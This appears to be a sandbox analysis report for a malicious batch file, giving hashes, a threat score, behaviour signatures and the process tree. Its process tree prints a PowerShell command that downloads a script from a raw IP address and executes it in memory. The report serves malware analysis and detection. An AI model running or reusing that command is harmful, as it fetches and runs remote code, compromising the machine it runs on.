6d611f64b2ac03203102331de336feb8d67ea6e9f258e1b245614e239dd1df80 | Triage

Analysis

max time kernel
64s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
21-05-2020 14:10

Sharing

Report Analysis Logs

General

Target

29ec9038cabce56dc3ae0d2ee20d9ed1.bat
Size

218B
MD5

b85f82f85e6208e52b6c015cd92e274d
SHA1

367648ab3b293615c8b98a358c8b0cf5cf69950a
SHA256

6d611f64b2ac03203102331de336feb8d67ea6e9f258e1b245614e239dd1df80
SHA512

15ee6c6c54e1ccaaf594adc6cf271634684669c55dfe1a853429f374fe2eb53b92642c373a0836b3e55f98c2b7bc874b0ad5cf650a593811173ae7bd2a567e12

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/29ec9038cabce56dc3ae0d2ee20d9ed1

Signatures

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

400 584 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 400 WerFault.exe
Token: SeBackupPrivilege 400 WerFault.exe
Token: SeDebugPrivilege 400 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\29ec9038cabce56dc3ae0d2ee20d9ed1.bat"
1⤵
PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/29ec9038cabce56dc3ae0d2ee20d9ed1');Invoke-PYPLANTTDQA;Start-Sleep -s 10000"
2⤵
PID:584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:400

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/400-0-0x0000000004D60000-0x0000000004D61000-memory.dmp

Filesize
4KB

Download
memory/400-2-0x0000000005390000-0x0000000005391000-memory.dmp

Filesize
4KB

Download